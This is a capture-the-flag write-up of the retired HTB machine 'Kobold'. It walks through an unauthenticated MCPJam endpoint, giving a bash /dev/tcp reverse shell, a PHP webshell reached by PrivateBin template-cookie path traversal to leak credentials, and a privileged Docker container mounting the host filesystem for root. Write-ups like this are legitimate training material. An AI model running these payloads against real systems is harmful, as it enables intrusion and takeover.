<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #007 ]

Kobold

An exposed MCPJam Inspector endpoint grants a shell as ben; a PrivateBin template LFI leaks Arcane admin credentials, and deploying a privileged container with the host filesystem mounted exposes the root flag.

date
2026-03-21
read
4 min
tags
#htb #retired
platform
htb
os
linux
difficulty
easy

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a kobold.htb -- -A
text
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp   open  http     syn-ack ttl 63 nginx 1.24.0 — redirects to https://kobold.htb/
443/tcp  open  ssl/http syn-ack ttl 63 nginx 1.24.0 — "Kobold Operations Suite"
                                        SSL SAN: kobold.htb, *.kobold.htb
3552/tcp open  http     syn-ack ttl 63 Golang net/http — Arcane v1.13.0

Four ports. SSH is standard. Port 80 just redirects to HTTPS. Port 443 serves "Kobold Operations Suite" — nginx fronting something. Port 3552 is the interesting one: a Go HTTP server that turns out to be Arcane, a Docker management platform. The wildcard SSL cert (*.kobold.htb) tells me there are subdomains worth finding.

Subdomain Enumeration

bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u https://kobold.htb \
  -H "Host: FUZZ.kobold.htb" \
  -k -fc 302 -fs <baseline_size>

I find two subdomains: mcp.kobold.htb hosting the MCPJam Inspector alongside Arcane, and bin.kobold.htb hosting a PrivateBin instance. Both are proxied through nginx on 443.

  • but get the baseline size first
bash
curl -sk https://kobold.htb -o /dev/null -w "%{size_download}"
bash
mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 109ms]
bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 198ms]

Arcane & MCPJam Enumeration

Navigating to https://mcp.kobold.htb shows the Arcane login page at version 1.13.0. Registration is disabled. Hitting /api/docs reveals a full Scalar API reference backed by /api/openapi.json I parse it to get every route.

screenshot 1 (opens the full-size image)

  • One endpoint stands out: /api/templates/fetch, which accepts a url parameter and makes an outbound HTTP request. I confirm SSRF by pointing it at my listener:
bash
curl -sk "http://mcp.kobold.htb:3552/api/templates/fetch?url=http://<vpn-ip>/test"
text
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[REDACTED:IP] - - [23/Mar/2026 14:09:05] code 404, message File not found
[REDACTED:IP] - - [23/Mar/2026 14:09:05] "GET /test HTTP/1.1" 404 -
  • I also notice the MCPJam Inspector UI on the same host, which exposes /api/mcp/connect — an endpoint designed for local development that I find is unauthenticated in this deployment.

Foothold

The /api/mcp/connect endpoint accepts a serverConfig object with command and args fields that get spawned directly by the server. No authentication required. I set up a listener and send the payload:

bash
nc -lvnp 4444
bash
❯ curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "x",
    "serverConfig": {
      "command": "/bin/bash",
      "args": ["-c", "/bin/bash -i >& /dev/tcp/<attacker>/4444 0>&1"]
    }
  }'
bash
❯ nc -lvnp 4444
listening on [any] 4444 ...
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Shell lands as ben. I upgrade it:

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

User Flag

bash
cat /home/light/user.txt

Privilege Escalation

Step 1 — PrivateBin LFI to Config Leak

Running id shows ben is in the operator group. I check what that group can access:

bash
find / -group operator -readable 2>/dev/null

The operator group has write access to /privatebin-data/data/ — the mounted data directory for the PrivateBin Docker container. PrivateBin prior to 1.7.2 is vulnerable to a template LFI: when templateselection = true is set in the config, the template session cookie is used to include a PHP file without sanitizing the path.

I write a webshell into the writable directory:

bash
echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/pwn.php

The traversal from the container's tpl/ directory out to /srv/data/ requires four levels up:

bash
❯ curl -sk "https://bin.kobold.htb/?cmd=id" \
  --cookie "template=../../../../srv/data/pwn"
uid=65534(nobody) gid=82(www-data) groups=82(www-data)

Running as nobody inside the container, I read the PrivateBin config:

bash
curl -sk "https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php" \
  --cookie "template=../../../../srv/data/pwn"

A commented-out MySQL section contains a plaintext password: [REDACTED:CRED]. The comment says it was "temporarily disabled during server migration" but the creds were left in.

bash
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"    ; table prefix
usr = "privatebin"
pwd = "[REDACTED:CRED]" # password was here under lots of rubbish
opt[12] = true   ; PDO::ATTR_PERSISTENT

Step 2 — Arcane Admin to Root

I try the password against Arcane with the username arcane: screenshot 2 (opens the full-size image)

  • we are greeted with a simple dashboard

screenshot 3 (opens the full-size image)

  • we first create a privileged project that mounts the host filesystem mounted at /hostfs screenshot 4 (opens the full-size image)

  • after deploying the project we just head to the containers tab and hit the shell section to get our root flag

screenshot 5 (opens the full-size image)


Root Flag

bash
cat /hostfs/home/light

Key Takeaways

  • MCPJam Inspector's /api/mcp/connect is a development endpoint that spawns arbitrary processes — exposing it publicly with no authentication is an instant RCE
  • PrivateBin's template LFI (GHSA-g2j9-g8r5-rg82) only needs write access to the data directory to become exploitable, even without touching the web server directly
  • Running a management platform like Arcane as root means any leaked credential in a connected service becomes a direct root primitive via Docker escape

Resources